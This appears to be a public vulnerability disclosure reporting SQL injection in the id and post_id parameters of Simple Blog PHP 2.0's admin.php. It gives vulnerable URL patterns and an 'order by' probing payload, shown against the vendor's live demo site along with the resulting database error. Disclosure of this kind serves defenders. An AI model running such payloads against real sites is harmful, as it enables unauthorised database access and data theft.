Simple Blog PHP 2.0 - SQL Injection

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# Simple Blog PHP 2.0 - SQL Injection
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# Vendor Homepage: http://simpleblogphp.com/
# Date: 13 Oct 2016
# Demo Link : http://simpleblogphp.com/blog/admin.php
# Version : 2.0
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: [email protected]
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# SQL Injection
This vulnerability is in admin.php file when we want to edit a post or
edit a categorie and..., with id parameter can show sql injection.

#PoC:
Vulnerable Url:
http://localhost/blog/admin.php?act=editPost&id=[payload]
http://localhost/blog/admin.php?act=editCat&id=[payload]
http://localhost/blog/admin.php?act=editComment&id=[payload]
http://localhost/blog/admin.php?act=comments&post_id=[payload]
Vulnerable parameter : id
Mehod : GET

A simple inject :
Payload : '+order+by+999--+
http://simpleblogphp.com/blog/admin.php?act=editPost&id=1'+order+by+999--+

In response can see result :
Could not execute MySQL query: SELECT * FROM blog_posts WHERE id=''
order by 999-- ' . Error: Unknown column '999' in 'order clause'

Result of payload: Error: Unknown column '999' in 'order clause'
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# Discovered By : Ehsan Hosseini
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